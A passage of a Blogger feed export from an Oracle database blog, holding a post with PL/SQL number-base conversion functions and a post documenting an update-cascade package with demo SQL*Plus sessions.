src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-1568912874600981841</id><published>2009-10-08T14:35:00.003-04:00</published><updated>2009-10-08T14:44:10.711-04:00</updated><title type='text'>http://asktom.oracle.com/tkyte/hexdec</title><content type='html'>&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Base Conversion Routines&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This set of routines is useful to convert between various 'bases' in Oracle. Once you install these functions, you will be able to perform operations such as:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;SQL&gt; select to_bin( 123 ) bin, to_hex( 123 ) hex, to_oct( 123 ) oct from dual&lt;br /&gt;2  /&lt;br /&gt;&lt;br /&gt;BIN             HEX             OCT&lt;br /&gt;--------------- --------------- ---------------&lt;br /&gt;1111011         7B              173&lt;br /&gt;&lt;br /&gt;SQL&gt;&lt;br /&gt;SQL&gt; select to_dec( '1111011', 2 ) base2, to_dec( '7B' ) base16,&lt;br /&gt;2         to_dec('173',8) base8&lt;br /&gt;3    from dual&lt;br /&gt;4  /&lt;br /&gt;&lt;br /&gt;BASE2     BASE16      BASE8&lt;br /&gt;---------- ---------- ----------&lt;br /&gt;  123        123        123&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Of course, with current releases - you would never user TO_HEX since TO_CHAR already does this (faster).  Also TO_NUMBER would be used to convert HEX to decimal these days as well&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;ops$tkyte%ORA10GR2&gt; select to_char( '1234', 'XXXX' ) from dual;&lt;br /&gt;&lt;br /&gt;TO_CH&lt;br /&gt;-----&lt;br /&gt;4D2&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here is the original code:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;create or replace function to_base( p_dec in number, p_base in number )&lt;br /&gt;return varchar2&lt;br /&gt;is&lt;br /&gt; l_str varchar2(255) default NULL;&lt;br /&gt; l_num number default p_dec;&lt;br /&gt; l_hex varchar2(16) default '0123456789ABCDEF';&lt;br /&gt;begin&lt;br /&gt; if ( p_dec is null or p_base is null )&lt;br /&gt; then&lt;br /&gt;  return null;&lt;br /&gt; end if;&lt;br /&gt; if ( trunc(p_dec) &lt;&gt; p_dec OR p_dec &lt; 0 ) then&lt;br /&gt;  raise PROGRAM_ERROR;&lt;br /&gt; end if;&lt;br /&gt; loop&lt;br /&gt;  l_str := substr( l_hex, mod(l_num,p_base)+1, 1 ) || l_str;&lt;br /&gt;  l_num := trunc( l_num/p_base );&lt;br /&gt;  exit when ( l_num = 0 );&lt;br /&gt; end loop;&lt;br /&gt; return l_str;&lt;br /&gt;end to_base;&lt;br /&gt;/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;create or replace function to_dec&lt;br /&gt;( p_str in varchar2,&lt;br /&gt; p_from_base in number default 16 ) return number&lt;br /&gt;is&lt;br /&gt; l_num   number default 0;&lt;br /&gt; l_hex   varchar2(16) default '0123456789ABCDEF';&lt;br /&gt;begin&lt;br /&gt; if ( p_str is null or p_from_base is null )&lt;br /&gt; then&lt;br /&gt;  return null;&lt;br /&gt; end if;&lt;br /&gt; for i in 1 .. length(p_str) loop&lt;br /&gt;  l_num := l_num * p_from_base + instr(l_hex,upper(substr(p_str,i,1)))-1;&lt;br /&gt; end loop;&lt;br /&gt; return l_num;&lt;br /&gt;end to_dec;&lt;br /&gt;/&lt;br /&gt;show errors&lt;br /&gt;&lt;br /&gt;create or replace function to_hex( p_dec in number ) return varchar2&lt;br /&gt;is&lt;br /&gt;begin&lt;br /&gt; return to_base( p_dec, 16 );&lt;br /&gt;end to_hex;&lt;br /&gt;/&lt;br /&gt;create or replace function to_bin( p_dec in number ) return varchar2&lt;br /&gt;is&lt;br /&gt;begin&lt;br /&gt; return to_base( p_dec, 2 );&lt;br /&gt;end to_bin;&lt;br /&gt;/&lt;br /&gt;create or replace function to_oct( p_dec in number ) return varchar2&lt;br /&gt;is&lt;br /&gt;begin&lt;br /&gt; return to_base( p_dec, 8 );&lt;br /&gt;end to_oct;&lt;br /&gt;/&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-1568912874600981841?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/1568912874600981841/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=1568912874600981841' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/1568912874600981841'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/1568912874600981841'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/10/httpasktomoraclecomtkytehexdec.html' title='http://asktom.oracle.com/tkyte/hexdec'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-4931252593461142047</id><published>2009-10-08T14:27:00.003-04:00</published><updated>2009-10-08T14:32:49.205-04:00</updated><title type='text'>http://asktom.oracle.com/tkyte/update_cascade</title><content type='html'>&lt;hr noshade="noshade" size="5"&gt;&lt;br /&gt;&lt;h1&gt;UPDATE CASCADE PACKAGE&lt;/h1&gt;&lt;br /&gt;&lt;hr noshade="noshade" size="5"&gt;&lt;br /&gt;&lt;br /&gt;Generates needed package and triggers to support update cascade&lt;br /&gt;in Oracle &lt;b&gt;without removing or infringing on DECLARITIVE RI.&lt;/b&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;This package supports:&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;Tables with multi-part primary keys (primary key(a,c,b))&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Update cascade to many child tables from one parent&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Self-referencing integrity such as that found in the SCOTT.EMP table&lt;br /&gt;(mgr-&gt;empno)&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Is completely application transparent.  The application does not&lt;br /&gt;know it is happening&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Versions 7.0 and above of the database.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Tuned and optimized to fully avoid full table scans on all tables&lt;br /&gt;(complete with utility to show you un-indexed foreign keys in a schema,&lt;br /&gt;Cascading an update to un-indexed foreign keys can be bad).&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This solution has the following restrictions:&lt;br /&gt;&lt;ol&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt; &lt;b&gt;All foreign keys to the parent table must point to the primary key&lt;br /&gt;constraint of the parent table&lt;/b&gt;.  They cannot point to a unique&lt;br /&gt;constraint on the parent table, they must point to the primary key.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; &lt;b&gt;No other unique constraints/indexes may be in place&lt;/b&gt; on the parent&lt;br /&gt;table other then the primary key constraint.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; Updates to primary keys that do not generate 'new' primary keys&lt;br /&gt;are not currently supported.  For example, take the standard DEPT&lt;br /&gt;table.  The update statement &lt;code&gt;"update dept set deptno = deptno+10"&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;will&lt;br /&gt;not work whereas the update &lt;code&gt;"update dept set deptno = deptno+1"&lt;/code&gt;&lt;br /&gt;will.&lt;br /&gt;The first update will change 10-&gt;20, 20-&gt;30 and so on.  Problem is&lt;br /&gt;that 10-&gt;20 is not generating a 'new' primary key.  On the other hand,&lt;br /&gt;deptno=deptno+1 does not have this problem since 10-&gt;11, 20-&gt;21 and&lt;br /&gt;so on.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;NOTE:&lt;/b&gt; an update that affects a single row will never suffer from this&lt;br /&gt;problem.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; the owner of the parent table must also be the owner of the child&lt;br /&gt;tables.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; the owner of the parent table must run the following package in&lt;br /&gt;their schema.  This package must be installed for each user that wants&lt;br /&gt;to generate update cascade support.  It may be dropped after the cascade&lt;br /&gt;support has been generated.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; the owner of the parent table must have been granted&lt;br /&gt;create procedure and create trigger.  &lt;b&gt;these&lt;br /&gt;priveleges may not be inherited from a role.&lt;/b&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name="install"&gt;&lt;/a&gt;&lt;br /&gt;&lt;hr noshade="noshade" size="5"&gt;&lt;br /&gt;&lt;h1&gt;Installing, Using, and seeing how the demo works&lt;/h1&gt;&lt;br /&gt;&lt;hr noshade="noshade" size="5"&gt;&lt;br /&gt;&lt;br /&gt;This package consists of four SQL scripts&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;uc.sql&lt;br /&gt;&lt;/li&gt;&lt;li&gt;demobld.sql&lt;br /&gt;&lt;/li&gt;&lt;li&gt;unindex.sql&lt;br /&gt;&lt;/li&gt;&lt;li&gt;generate.sql&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;UC.SQL&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;UC.SQL should be run by any user wanting to implement update cascade.  It will&lt;br /&gt;create&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;A package spec for update_cascade&lt;br /&gt;&lt;/li&gt;&lt;li&gt;A package body for update_cascade&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;Once this package is installed, you are able to implement update cascade on any&lt;br /&gt;table via the pl/sql call:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;PROCEDURE update_cascade.on_table&lt;br /&gt;Argument Name                  Type                    In/Out Default?&lt;br /&gt;------------------------------ ----------------------- ------ --------&lt;br /&gt;P_TABLE_NAME                   VARCHAR2                IN&lt;br /&gt;P_PRESERVE_ROWID               BOOLEAN                 IN     DEFAULT&lt;br /&gt;P_USE_DBMS_OUTPUT              BOOLEAN                 IN     DEFAULT&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;table border="1"&gt;&lt;br /&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;Input Name&lt;/th&gt;&lt;br /&gt;&lt;th&gt;Default&lt;/th&gt;&lt;br /&gt;&lt;th&gt;Usage&lt;/th&gt;&lt;br /&gt;&lt;br /&gt;&lt;/tr&gt;&lt;tr&gt;&lt;br /&gt;&lt;td&gt; p-table-name &lt;/td&gt;      &lt;td&gt;NO DEFAULT&lt;/td&gt;&lt;br /&gt;&lt;td&gt;is the name of the parent table &lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td&gt;p-preserve-rowid&lt;/td&gt; &lt;td&gt;TRUE&lt;/td&gt;&lt;br /&gt;&lt;td&gt;&lt;br /&gt;affects the generation of the code used to implement&lt;br /&gt;the generated packages.  If set to TRUE (the default)&lt;br /&gt;the rowid of the updated parent row will not change&lt;br /&gt;due to the update.  If set to FALSE, the rowid&lt;br /&gt;of the updated row WILL change BUT the code executes&lt;br /&gt;in about 66% of the time.&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td&gt;p-use-dbms-output&lt;/td&gt;&lt;td&gt;FALSE&lt;/td&gt;&lt;br /&gt;&lt;td&gt;defaults to FALSE which means the update_cascade&lt;br /&gt;package will execute (create) the packages/triggers.&lt;br /&gt;If set to true, the generated code will be printed&lt;br /&gt;using dbms_output.put_line (make sure to set&lt;br /&gt;serveroutput on size 100000 before using TRUE if you&lt;br /&gt;want to see the code).&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;For example....&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;SQL&amp;gt; REM will do the default cascade support on&lt;br /&gt;SQL&amp;gt; REM the dept table&lt;br /&gt;SQL&amp;gt; REM ROWIDS will be preserved (unchanged).&lt;br /&gt;SQL&amp;gt; REM Package will be created in the database&lt;br /&gt;SQL&amp;gt; &lt;b&gt;exec update_cascade.on_table( 'dept' )&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;SQL&amp;gt; REM will do the same as above but will not&lt;br /&gt;SQL&amp;gt; REM preserve the rowids of the parent table&lt;br /&gt;SQL&amp;gt; REM (the rowids will change).  This version&lt;br /&gt;SQL&amp;gt; REM runs in about 2/3 of the time of the first&lt;br /&gt;SQL&amp;gt; REM one&lt;br /&gt;SQL&amp;gt; &lt;b&gt;exec update_cascade.on_table( 'dept', false )&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;SQL&amp;gt; REM will do the same as above but will not&lt;br /&gt;SQL&amp;gt; REM preserve the rowids of the parent table&lt;br /&gt;SQL&amp;gt; REM (the rowids will change).  This version&lt;br /&gt;SQL&amp;gt; REM runs in about 2/3 of the time of the first&lt;br /&gt;SQL&amp;gt; REM one.  Also, the packages will be written&lt;br /&gt;SQL&amp;gt; REM to the SCREEN, not into the database.&lt;br /&gt;SQL&amp;gt; &lt;b&gt;exec update_cascade.on_table( 'dept', false, true )&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The above would generate and compile all of&lt;br /&gt;the packages/triggers need to support&lt;br /&gt;cascading updates on the dept table to any other table.&lt;br /&gt;You would run this any time you&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;changed the primary key definition of the dept table&lt;br /&gt;&lt;/li&gt;&lt;li&gt;added a child table to the schema&lt;br /&gt;(eg: executed a create table and that table points to dept)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;removed a child table from schema&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;NOTE:&lt;/b&gt; The user executing update_cascade must have been granted&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;CREATE TRIGGER&lt;br /&gt;&lt;/li&gt;&lt;li&gt;CREATE PROCEDURE&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;directly to themselves.  They cannot just have the privilege via a role.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;The other mode of calling update_cascade.on_table is as follows:&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre&gt;&lt;br /&gt;SQL&amp;gt; set feedback off&lt;br /&gt;SQL&amp;gt; spool tmp.sql&lt;br /&gt;SQL&amp;gt; exec update_cascade.on_table( p_table_name =&gt; 'dept', p_use_dbms_output =&gt;&lt;b&gt;TRUE&lt;/b&gt; )&lt;br /&gt;SQL&amp;gt; spool off&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The above would generate and &lt;b&gt;print&lt;/b&gt; (as opposed to compile) all of the&lt;br /&gt;packages/triggers/views needed to support cascading update on the dept table&lt;br /&gt;to any other table.  You would use this mode to&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;Avoid having to grant CREATE VIEW, CREATE TRIGGER, CREATE PROCEDURE&lt;br /&gt;directly to the person (they can get these priveleges via a role like DBA).&lt;br /&gt;&lt;/li&gt;&lt;li&gt;To inspect the generated code to understand what it does.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;To generate a package that can be used to install update cascade support&lt;br /&gt;at another site without giving them the update_cascade package itself.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;The other mode of calling update_cascade.on_table is as follows:&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre&gt;&lt;br /&gt;SQL&amp;gt; exec update_cascade.on_table( p_table_name =&gt; 'dept', p_preserve_rowid =&gt;&lt;b&gt;FALSE&lt;/b&gt; )&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The above would generate &lt;b&gt;&lt;i&gt;faster&lt;/i&gt;&lt;/b&gt; versions of the udpate&lt;br /&gt;cascade packages.  They run in 2/3 of the time of the default version but&lt;br /&gt;the rowid's of the updated parent records will change.  &lt;b&gt;This makes this&lt;br /&gt;version less desirable with FORMS&lt;/b&gt;.  If you use forms heavily, use the&lt;br /&gt;default mode so that rowids are preserved.&lt;br /&gt;The triggers to cascade can&lt;br /&gt;get away with a lot less work in this mode. The&lt;br /&gt;triggers fire half the time they would in the default mode and an update that&lt;br /&gt;would normally fire and affect 2x the number of rows is not needed.  The&lt;br /&gt;generated package code is streamlined as well (less actuall code is&lt;br /&gt;generated, procedural code not just updates).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;DEMOBLD.SQL&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;This script creates one user and three tables in that users schema.  The user is&lt;br /&gt;called UCDEMO.&lt;br /&gt;&lt;b&gt;WARNING: This script does a "drop user ucdemo cascade".  It is&lt;br /&gt;run as SYSTEM.  Please review it before running it.  Modify if you want&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Once the script creates the user it will create six tables and populate them.&lt;br /&gt;The tables are:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;DEPT with a primary key&lt;br /&gt;&lt;/li&gt;&lt;li&gt;EMP with a primar key, DECLARATIVE RI to DEPT, DECLARATIVE RI to EMP&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;PROJECTS with a primary key, DECLARATIVE RI to EMP&lt;br /&gt;&lt;/li&gt;&lt;li&gt;T1 with a three part primary key&lt;br /&gt;&lt;/li&gt;&lt;li&gt;T2 with a three part primary key and a three part foreign key to T1&lt;br /&gt;&lt;/li&gt;&lt;li&gt;T3 with a three part primary key and a three part foreign key to T2&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;To begin the demo, you might issue:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;SQL&amp;gt; update dept set deptno=deptno+1;&lt;br /&gt;update dept set deptno=deptno+1&lt;br /&gt;*&lt;br /&gt;ERROR at line 1:&lt;br /&gt;ORA-02292: integrity constraint (UCDEMO.SYS_C005184) violated - child record&lt;br /&gt;found&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Then to see the update cascade in action, you would:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;SQL&amp;gt; &lt;b&gt;@uc&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Table created.&lt;br /&gt;&lt;br /&gt;Table altered.&lt;br /&gt;&lt;br /&gt;Package created.&lt;br /&gt;&lt;br /&gt;Package body created.&lt;br /&gt;&lt;br /&gt;SQL&amp;gt; &lt;b&gt;exec update_cascade.on_table('dept');&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;PL/SQL procedure successfully completed.&lt;br /&gt;&lt;br /&gt;SQL&amp;gt;&lt;br /&gt;&lt;br /&gt;SQL&amp;gt; select * from dept;&lt;br /&gt;&lt;br /&gt;DEPTNO DNAME          LOC&lt;br /&gt;---------- -------------- -------------&lt;br /&gt; 10 ACCOUNTING     NEW YORK&lt;br /&gt; 20 RESEARCH       DALLAS&lt;br /&gt; 30 SALES          CHICAGO&lt;br /&gt; 40 OPERATIONS     BOSTON&lt;br /&gt;&lt;br /&gt;SQL&amp;gt; select empno, deptno from emp where deptno = 10;&lt;br /&gt;&lt;br /&gt;EMPNO     DEPTNO&lt;br /&gt;---------- ----------&lt;br /&gt;7839         10&lt;br /&gt;7782         10&lt;br /&gt;7934         10&lt;br /&gt;&lt;br /&gt;SQL&amp;gt; update dept set deptno = &lt;b&gt;deptno+1;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4 rows updated.&lt;br /&gt;&lt;br /&gt;SQL&amp;gt; select * from dept;&lt;br /&gt;&lt;br /&gt;DEPTNO DNAME          LOC&lt;br /&gt;---------- -------------- -------------&lt;br /&gt; &lt;b&gt;11&lt;/b&gt; ACCOUNTING     NEW YORK&lt;br /&gt; &lt;b&gt;21&lt;/b&gt; RESEARCH       DALLAS&lt;br /&gt; &lt;b&gt;31&lt;/b&gt; SALES          CHICAGO&lt;br /&gt; &lt;b&gt;41&lt;/b&gt; OPERATIONS     BOSTON&lt;br /&gt;&lt;br /&gt;SQL&amp;gt; select empno, deptno from emp where deptno in ( 10, 11 );&lt;br /&gt;&lt;br /&gt;EMPNO     DEPTNO&lt;br /&gt;---------- ----------&lt;br /&gt;7839         &lt;b&gt;11&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;7782         &lt;b&gt;11&lt;/b&gt;&lt;br /&gt;7934         &lt;b&gt;11&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;SQL&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;As you can see, after the package is installed,&lt;br /&gt;the updates cascade successfully to&lt;br /&gt;the child tables.  The effect of this is even more&lt;br /&gt;dramatic when you do it to the&lt;br /&gt;emp table.  The MGR column of the EMP table points to&lt;br /&gt;the EMPNO column of the EMP&lt;br /&gt;table.  In addition, the EMPNO column of the PROJECTS table points to the EMPNO&lt;br /&gt;column of the EMP table.  The following scenario is a good demo of more complex&lt;br /&gt;integrity:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;SQL&amp;gt; select empno, mgr from emp;&lt;br /&gt;&lt;br /&gt;EMPNO        MGR&lt;br /&gt;---------- ----------&lt;br /&gt;7839&lt;br /&gt;7698       7839&lt;br /&gt;7782       7839&lt;br /&gt;7566       7839&lt;br /&gt;7499       7698&lt;br /&gt;7521       7698&lt;br /&gt;7654       7698&lt;br /&gt;7902       7566&lt;br /&gt;7369       7902&lt;br /&gt;7788       7566&lt;br /&gt;7844       7698&lt;br /&gt;7876       7788&lt;br /&gt;7900       7698&lt;br /&gt;7934       7782&lt;br /&gt;&lt;br /&gt;14 rows selected.&lt;br /&gt;&lt;br /&gt;SQL&amp;gt; update emp set empno = &lt;b&gt;8000&lt;/b&gt; where empno = &lt;b&gt;7698;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;update emp set empno = 8000 where empno = 7698&lt;br /&gt;*&lt;br /&gt;ERROR at line 1:&lt;br /&gt;ORA-02292: integrity constraint (UCDEMO.SYS_C005186) violated - child record&lt;br /&gt;found&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;SQL&amp;gt; exec update_cascade.on_table('emp')&lt;br /&gt;&lt;br /&gt;PL/SQL procedure successfully completed.&lt;br /&gt;&lt;br /&gt;SQL&amp;gt; update emp set empno = &lt;b&gt;8000&lt;/b&gt; where empno = &lt;b&gt;7698;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;1 row updated.&lt;br /&gt;&lt;br /&gt;SQL&amp;gt; select empno, mgr from emp;&lt;br /&gt;&lt;br /&gt;EMPNO        MGR&lt;br /&gt;---------- ----------&lt;br /&gt;7839&lt;br /&gt;7782       7839&lt;br /&gt;7566       7839&lt;br /&gt;7499       &lt;b&gt;8000&lt;/b&gt;&lt;br /&gt;7521       &lt;b&gt;8000&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;7654       &lt;b&gt;8000&lt;/b&gt;&lt;br /&gt;7902       7566&lt;br /&gt;7369       7902&lt;br /&gt;7788       7566&lt;br /&gt;7844       &lt;b&gt;8000&lt;/b&gt;&lt;br /&gt;7876       7788&lt;br /&gt;7900       &lt;b&gt;8000&lt;/b&gt;&lt;br /&gt;7934       7782&lt;br /&gt;&lt;b&gt;8000&lt;/b&gt;       7839&lt;br /&gt;&lt;br /&gt;14 rows selected.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;UNINDEX.SQL&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;The lack of an index on a foreign key will adversely impact the performance&lt;br /&gt;of a cascading update.  For example, the emp table is created via:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;CREATE TABLE EMP&lt;br /&gt;(EMPNO NUMBER(4) primary key,&lt;br /&gt;ENAME VARCHAR2(10),&lt;br /&gt;JOB VARCHAR2(9),&lt;br /&gt;MGR NUMBER(4) references emp,&lt;br /&gt;HIREDATE DATE,&lt;br /&gt;SAL NUMBER(7,2),&lt;br /&gt;COMM NUMBER(7,2),&lt;br /&gt;DEPTNO NUMBER(2) references dept);&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The MGR column and the DEPTNO column are not indexed by default.  So, for&lt;br /&gt;example, if one were to issue:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;SQL&amp;gt; update emp set empno = empno+1;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;This would eventually issue:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;update emp set mgr = SOME_NEW_VALUE&lt;br /&gt;where mgr = SOME_OLD_VALUE;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Since the MGR field is not indexed, this update would do a full scan.  It&lt;br /&gt;would do this full scan once for each row in EMP that was updated.&lt;br /&gt;&lt;br /&gt;Unindex.sql will generate output such as:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;SQL&amp;gt; @unindex.sql&lt;br /&gt;&lt;br /&gt;STAT TABLE_NAME                     COLUMNS              COLUMNS&lt;br /&gt;---- ------------------------------ -------------------- --------------------&lt;br /&gt;**** EMP                            MGR&lt;br /&gt;ok   EMP                            DEPTNO               DEPTNO&lt;br /&gt;ok   PROJECTS                       EMPNO                EMPNO, PROJ_NO&lt;br /&gt;ok   T2                             A                    A, B&lt;br /&gt;ok   T3                             A, B                 A, B, C&lt;br /&gt;&lt;br /&gt;SQL&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The four **** indicate that MGR is a foreign key in the EMP table that is&lt;br /&gt;not indexed.  It should be (also see chapter 6 in the server application&lt;br /&gt;developers guide for other reasons why un-indexed foreign keys are bad).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;GENERATE.SQL&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;This is a simple script that will generate all of the needed&lt;br /&gt;update_cascade.on_table( 'table_name' ) statements that need to be executed&lt;br /&gt;for all parent tables in a schema.  For example, in the demo account it&lt;br /&gt;would create a spool file that contains:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;SQL&amp;gt; @src/update_cascade/generate&lt;br /&gt;&lt;br /&gt;prompt Update Cascade on table: DEPT&lt;br /&gt;execute update_cascade.on_table( 'DEPT' )&lt;br /&gt;&lt;br /&gt;prompt Update Cascade on table: EMP&lt;br /&gt;execute update_cascade.on_table( 'EMP' )&lt;br /&gt;&lt;br /&gt;prompt Update Cascade on table: T1&lt;br /&gt;execute update_cascade.on_table( 'T1' )&lt;br /&gt;&lt;br /&gt;prompt Update Cascade on table: T2&lt;br /&gt;execute update_cascade.on_table( 'T2' )&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name="how"&gt;&lt;/a&gt;&lt;br /&gt;&lt;hr noshade="noshade" size="5"&gt;&lt;br /&gt;&lt;h1&gt;HOW it works:&lt;/h1&gt;&lt;br /&gt;&lt;hr noshade="noshade" size="5"&gt;&lt;br /&gt;&lt;br /&gt;When you update the primary key of a parent table, you might want to&lt;br /&gt;cascade the update to the children.  This is hard to do for many&lt;br /&gt;reasons and can be problematic.  This package works around the lack of&lt;br /&gt;an update cascade option.&lt;br 